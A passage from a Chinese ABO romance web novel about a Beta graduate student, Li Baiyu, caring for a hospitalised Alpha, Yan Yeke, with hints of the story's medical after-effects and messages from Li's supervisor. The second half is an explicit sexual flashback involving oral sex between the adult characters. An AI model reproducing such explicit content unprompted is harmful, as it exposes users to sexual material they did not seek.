黎白榆原本没觉得自己有那么敏.感,但昨夜的经历,似乎让他对“被掐住腰”这件事生出了一点阴影反射。 更何况,他此时还没来得及穿裤子。 黎白榆下意识地想要避让开,身后的那只手却好像早有预料,转到侧腰轻轻一握,便将他留在了原地。 “当心。” 男人反而开口提醒他,还问。 “腰疼吗?” ……还好吧?黎白榆想,他昨天应该没有被人掐青。 他正要开口,却听身后背上覆得更近了一分的严野客低声问。 “昨天对折了好久,累不累?” “……” 黎白榆的声音都被噎了回去,好半天才钝钝地咬出两个字。 “……没事。” “嗯。” 严野客低应了一声,掌心依然覆握在黎白榆的细韧腰侧。 看来柔韧性真的很好。 而黎白榆这时仓促抬眼,也终于在面前的镜子中看到了裸着上身的严野客。 他不禁微微有些咋舌。 这么看,自己的手臂粗细,似乎只有对方的二分之一。 难怪昨天怎么都挣不开…… 别说是手臂,连昨晚黎白榆的腿被人按住分开,都没能挣动开一点。 如果去锻炼的话,自己可以先把腿练到像严野客的手臂这样结实有力吗? 黎白榆想着,也没有忘记询问真正的病人。 “你现在有不舒服吗?” 镜子里,身后的男人抬眸看他。 “有。” 严野客给了一个让人有些忧心的回答,还说:“嘴有点干。” 嘴? 黎白榆一怔。 是因为昨晚吃……的原因吗? 他下意识回头,正想去仔细查看,眼前却微微一暗。 身后的人时机抓得极准,微一垂头,就印上了黎白榆的唇。 满意地亲完之后,严野客才道。 “现在润点了。” 黎白榆:“……” 他抿了抿唇,直接拉开腰侧的手,把漱口杯塞进了对方的掌心里。 “好好润下。” 这个的水更多。 把洗漱台留给对方之后,黎白榆从洗漱间出来,还忍不住抬手,蹭了蹭自己的唇。 不知道是不是错觉。 ……总觉得,严野客亲人亲得好像越来越自然熟练了。 等Alpha洗漱完出来,黎白榆才重新回到浴室,简单冲洗了一下。 因为今天醒来的时间也不算早,黎白榆冲澡时,还恰好又到了医院的查房时间。 隐隐听到洗漱间外医生们进来的交谈声响,黎白榆不由生出了一种微妙的感觉。 又是在医生来时冲澡……仿佛就有些在躲人的错觉似的。 而此时的病房中,医生们询问完病人的状况,在一同查看严野客今早的指标时,昨天那位记病历的年轻医生看着数据,又加之刚才听到洗漱室内的隐约水声,他犹豫了一下,还是和前辈们小声商量了几句什么。 接着,为首的医生也和严野客提起了这件事。 “严少,你这次的信息素紊乱毕竟情况特殊,最好还是留意一下,有没有这种类似的后遗症状。” “提前预防的话,也可以尽量避免这方面的隐患。” 医生们的手里都有平板,给严野客解释时,他们用的也是更直接的文字和图表资料,并没有全部念出来。 所以黎白榆冲完澡时,只隐约听到了一句“后遗症状”。 但他却不清楚这症状具体指的会是什么。 穿衣服的时候,黎白榆带进来的手机还震了几下。 屏幕亮起,显示发信人是关茴。 导师发来的消息? 黎白榆以为是学校或者论文有什么问题,便直接解锁了手机去查看。 不过这次,关茴说的事却和学术无关,而是在询问严野客的事。 【关茴老师:白榆,你现在还在港城吗?上次你说去了严野客的医院,他现在情况怎么样?】 【关茴老师:抱歉打扰你,我昨天给他发了消息,但他一直没有回我。】 【关茴老师:你有空的时候再回我就可以,不用急】 黎白榆怔了怔,意识到严野客昨晚没回消息,是因为Alpha一晚上都没看手机。 他连忙把严野客这几日已经平稳好转的状况回复给了老师。 关茴还没睡,这时也立刻回了微信,语气明显放心了许多。 她还特意感谢了黎白榆。 【关茴老师:辛苦你了,难得见有人能受得了他那个冰块冷脸臭脾气。】 黎白榆倒没觉得辛苦,还把昨天做了全套检查,现在正在查房之类的消息汇报给老师。 不过,对刚刚自己听到的“后遗症可能”,他还是犹豫了一下,暂时没有提起。 因为尚不确定具体,也不想让导师过多担心。 关茴又发来了消息,解释自己会担心,是因为严野客一向有事也不喜欢和人说。 【他本身就是经常独自包揽的强势大Alpha主义性格。这次生病居然会愿意让你陪着,已经让我很意外了。】 得知外甥没有大碍,关茴又叮嘱了黎白榆也好好休息,保重身体。 两人又简单聊了聊论文的等待进展,这时才结束了聊天。 而聊完之后,黎白榆思考了一会儿,还是打算去向严野客当面询问一下,关于刚刚后遗症的问题。 其实就像小导说的,黎白榆也能感觉到,以严野客的性格,自己可能问不出什么。 但他还是想尝试一下。 毕竟无论老师还是他,对严野客都有关心。 而且一直以来,黎白榆的心底都隐隐有着一个忧虑。 他担心自己所谓的帮忙只是自以为是,只会适得其反。 要知道,信息素紊乱的Alpha,最有效也是最低风险的方法,就是找一个与之合衬的Omega来进行匹配疏导。 虽然Omega人数最少,仅占人口总数的10%,而且现在,大家也都推崇自由恋爱,很多AO都不喜欢完全以匹配度来论算。 但以严家的豪门阔绰,和严野客本身的条件,要给他找一个合适的治疗对象,想来也绝非什么难事。 黎白榆毕竟只是个Beta。 还是个完全隔绝了信息素的Beta。 等黎白榆从洗漱间出来时,查房的医生们已经离开了。 严野客今天也不需要再做全套检查,只需要检测一些体征,其余时间便可以自行活动,静养休息。 两人去餐厅吃过了早饭,回到病房后,黎白榆便问出了那个自己考虑了一早上的问题。 “你的紊乱缓解之后,是可能会有什么隐患,或者后遗症吗?” 见严野客看了过来,黎白榆浅浅吸了口气,问。 “是不是疏导还不算彻底?” “什么后遗症?”严野客却道,“没有,这两天的疏导我都很喜欢。” 对于后面这点,他倒是直言不讳。 但黎白榆显然有些不太相信。 “那你的迟射症……不算吗?” “……”这回严野客是真的意外了一瞬,一时没反应过来,“什么?” “迟射症,也叫晚泄症。” 黎白榆尝试解释。 “就是,有的雄性会有早.泄的障碍症状,反过来,像你这种,就是……晚泄。” 这一点,也是黎白榆反复考虑过的。 他昨晚被吃,甚至被吃得有点乱七八糟。上面和下面都是,敏.感得一塌糊涂。 黎白榆也是更早昏睡过去的那个,但他在还有意识的时候,却察觉,严野客似乎一直没有排射。 反倒是黎白榆自己,被吞吃了不止一次。 再早的那个晚上,黎白榆用手帮忙,也是累到不止换过一遍手。 后来还连腿也被用上,才终于得以结出。 很多人不清楚,其实不仅早排,延迟泄出也是排射障碍症状的一种。 虽然Alpha群体的体力普遍更强,但严野客持续的时长,好像也已经超出了普通人的正常范畴。 其实不仅迟射症,在得知严野客可能有隐患之后,黎白榆还怀疑过。 他会不会有特殊的肢端粗大。 毕竟……那个尺寸,属实有些吓人了一点。 不过此时,黎白榆说得隐有忧心,却见严野客的反应和他预想中完全不同。 “……” 男人的神色有些意味不明,已经重回了瞋黑的双眸望着他,还微微抬了下眉梢。 “你是专程来夸奖我的?” “……?” 黎白榆不解,没明白这怎么会被听成夸奖。 “不是,我是担心你。” “噢,”严野客应了一声,“那我比被夸奖还开心。” 虽然男人英俊的眉眼依旧无澜,不过他的心情看起来的确不错。 但黎白榆仍有疑问。 “所以那种可能的后遗症……到底是什么?” 严野客看起来对此却并不在意:“没什么。” “真要说,我唯一的后遗症是很想亲你。” 黎白榆不由想到了男人亲他时越来越熟练的举动。 “除此之外就没有了。” 严野客抬手,轻拢了一下黎白榆颊侧的长发,帮他将散落下来的发丝别在了耳后。 “我从没这么稳定过。” 黎白榆看着他,确实没有从男人的举止中看到任何异常。 他迟疑了一下:“可你的体温……还是有点低。” 严野客方才碰他的手上,仍然带着点很容易让人生出好感的凉意。 对方却道:“那是兴奋的。” 严野客看了看他,还屈指,蹭了一下自己的唇。 “昨晚你不是知道了?” 黎白榆:“……” 昨晚的黎白榆,的确体会到了远超过往认知的真实感受。 在才刚被严野客碰到蹆心那处时,黎白榆就抑制不住地僵硬了起来。 他依然很难想象……这种部位被别人碰到。 还是用对方的唇。 前一天夜里,黎白榆用手帮忙时,不小心被严野客意外顶蹭到了那里一下,都受惊地瞬间紧绷,许久未能平复。 不过这一次,被严野客有意控制过的力度显然更为轻缓温和。 起初只是用亲吻浅碰,男人的唇瓣薄,触感微凉,带一点微许的干涩。 因为太过敏锐,黎白榆甚至都能感觉到对方唇上微涩的薄皮,和浅浅的唇间纹理。 过分的羞涩好像将感官更十倍百倍地放大过了,每一个细微的动作都变得如此冲击甚巨。 严野客还会用硬挺的鼻梁在那处脆弱上轻抵,让昏暗的光线中分明已经看不清四周的黎白榆,却还难以抑制地会联想出此时的场景。 眉眼冷肃、英俊霜冷的Alpha,却在用他笔挺的鼻骨,做出着这种事…… 思绪太过难以启齿,以至于始终被微凉碰触着的黎白榆,却生出了烧灼的烫热。 好在严野客的动作一直很温和,到底给了黎白榆一点适应的缓冲。 男人还抬手过来,握控住黎白榆的腰线,轻柔慢缓地帮他细细揉按着。 也让黎白榆这时才意识到,自己身体过分紧张地僵硬了太久,连腰肢都在隐隐泛酸。 温缓的捏揉放松了紧绷的肌肉,在黎白榆终于微微松懈下来了一分之后,他却忽然感觉到身下传来了凉津湿润的触感。 “唔……?!” 黎白榆倏地僵住,瓷白的小腹瞬间收紧,腰腹绷出的弧廓愈加明显。 “什么……?” 他被这一下惊得茫然失措。 “好冰……” 黎白榆已经意识到了那是严野客的唇齿,可是出乎预料的温度,却直接把他惊住了。 如果不是严野客始终没有离开,黎白榆甚至会以为,那是对方突然去含过了冰块。 他刚才也被男人吃过胸前的软处,却并不像现在的触感这样凉。 怎么还……会变得更冰? “信息素飙升的时候,会更冷一点。” 严野客终于开口,嗓音也比方才更为喑哑。 黎白榆感知不到信息素,所以完全不知道,此时室内的Alpha信息素,已经浓郁到了近乎可怖的地步。 而早在关灯之前,严野客就已经顺手把病房内的信息素监测仪给关了。 省得再有什么烦人的警报,坏了好事。 严野客沉沉吸了口气,将自己的信息素克制了一下,接着又俯身,去亲了亲唇边微微发颤的小美人。 “这样呢?” 黎白榆又被吻得腰身轻抖了一下,而这时也的确发现。 真的……没刚刚那么凉了。 “所以,”青年惊讶地睁圆了眼睛,“你可以控制自己的体温……?” 他之前只以为,严野客是易感期的时候会体温明显变冰,和平时的正常温度不同。 没想到这样短时间内的两下亲吻,还会有明显变化。 但黎白榆很快意识到了另一个关键。 这样明显的控制调节,是不是也算强忍的一种? 那会导致严野客的信息素紊乱更严重吗? 黎白榆满心还在担忧着病人的状况,这时却听到严野客说。 “可以试试。” 男人的嗓音依旧低冷沉稳,完全听不出此时信息素的变动起伏。 他甚至还道。 “我看过资料,说这样也是让人愉悦的一种方式。” 冷热交替。 刺激会更强烈一点。 黎白榆却完全没有听懂:“什么……?” 而这次严野客没再说话,直接低下头去。 以行动做了回答。 “唔……!!”